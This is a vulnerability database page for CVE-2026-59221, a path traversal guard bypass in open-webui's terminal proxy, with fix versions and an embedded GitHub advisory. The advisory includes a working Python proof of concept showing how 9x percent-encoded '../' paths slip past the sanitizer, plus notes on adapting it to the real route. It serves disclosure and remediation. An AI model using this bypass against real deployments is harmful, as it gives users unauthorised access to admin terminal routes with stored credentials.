CVE-2026-59221: Open webui Path Traversal Vulnerability
HIGHCVE-2026-59221 is a HIGH (CVSS 7.7) path traversal vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Open webui libraries in the PyPI ecosystem. The issue involves open-webui terminal proxy path traversal guard bypass via 9x encoded traversal. Remediation is available by upgrading affected packages to version 0.10.0.
CVE-2026-59221 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-59221
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.10.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-59221, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.0), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59221 Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
≥ 0.9.6
< 0.10.0
|
0.10.0
|
References
Frequently Asked Questions
What is CVE-2026-59221?
Which Open webui versions are affected?
What version fixes CVE-2026-59221?
Is open-webui affected?
What is the CVSS score of CVE-2026-59221?
What CWE is associated with CVE-2026-59221?
How can I check PyPI dependencies for CVE-2026-59221?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-frvj-c5qp-xj4w",
"modified" : "2026-07-24T21:05:51Z",
"published" : "2026-07-24T21:05:51Z",
"aliases" : [ "CVE-2026-59221" ],
"summary" : "open-webui terminal proxy path traversal guard bypass via 9x encoded traversal",
"details" : "AI assistance was used to help inspect the code and prepare this report.\n\n## Summary\n\nThe fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. `backend/open_webui/routers/terminals.py` documents `_sanitize_proxy_path()` as decoding until stable, but the implementation stops after 8 `unquote()` passes. A 9x percent-encoded `../...` path parameter remains once-encoded after the loop, passes the `posixpath.normpath()` and `cleaned.startswith('..')` checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as `/base/../admin/system`.\n\n## Impact\n\nA user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and `X-User-Id` header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under `/p/{policy_id}/{safe_path}`, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.\n\nThis does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.\n\n## Reproduction\n\nThe following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.\n\n```python\nimport asyncio, posixpath\nfrom urllib.parse import unquote\nfrom aiohttp import web, ClientSession, ClientTimeout\n\ndef sanitize(path):\n decoded = path\n for _ in range(8):\n once = unquote(decoded)\n if once == decoded:\n break\n decoded = once\n cleaned = posixpath.normpath(decoded).lstrip('/')\n if cleaned.startswith('..') or cleaned == '.':\n return None\n return cleaned\n\ndef enc(s, rounds):\n out = ''.join(f'%{b:02X}' for b in s.encode())\n for _ in range(rounds - 1):\n out = out.replace('%', '%25')\n return out\n\nasync def main():\n async def handler(request):\n return web.json_response({'raw_path': request.raw_path, 'path': request.path})\n app = web.Application()\n app.router.add_route('*', '/{tail:.*}', handler)\n runner = web.AppRunner(app)\n await runner.setup()\n site = web.TCPSite(runner, '127.0.0.1', 0)\n await site.start()\n port = site._server.sockets[0].getsockname()[1]\n\n for rounds in (8, 9):\n safe = sanitize(enc('../admin/system', rounds))\n print(rounds, safe)\n if safe:\n url = f'http://127.0.0.1:{port}/base/{safe}'\n async with ClientSession(timeout=ClientTimeout(total=10)) as session:\n async with session.get(url) as response:\n print(await response.json())\n await runner.cleanup()\n\nasyncio.run(main())\n```\n\nObserved output on current main and v0.9.6 sanitizer:\n\n```text\n8 None\n9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D\n{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}\n```\n\nThe 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the `{path:path}` parameter: an external request can use one additional encoding layer so `_sanitize_proxy_path()` receives the 9x encoded parameter shown above.\n\n## Root Cause / Technical Details\n\n`_sanitize_proxy_path()` in `backend/open_webui/routers/terminals.py` performs this loop:\n\n```python\ndecoded = path\nfor _ in range(8):\n once = unquote(decoded)\n if once == decoded:\n break\n decoded = once\n```\n\nThe subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, `posixpath.normpath()` treats them as ordinary characters rather than path separators. The code then builds `target_url = f'{base_url}/{safe_path}'` and sends it with `aiohttp.ClientSession.request()`. The upstream server receives and decodes the forwarded path, turning the accepted `%2E%2E%2F...` into `../...`.\n\nThe same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 `backend/open_webui/routers/terminals.py` hash matches current main for this file.\n\n## Remediation\n\nDo not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:\n\n1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.\n2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with `/`.\n3. Add regression tests for at least 9x and 10x encoded `../` payloads, including a route-level test that accounts for the ASGI server's initial path decode before the `{path:path}` parameter reaches `_sanitize_proxy_path()`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.9.6"
}, {
"fixed" : "0.10.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-frvj-c5qp-xj4w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59221"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/pull/26050"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/commit/05098d25a58d03738e01c4e85e8852c3b4ad849c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/releases/tag/v0.10.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T21:05:51Z",
"nvd_published_at" : "2026-07-09T18:16:55Z"
}
}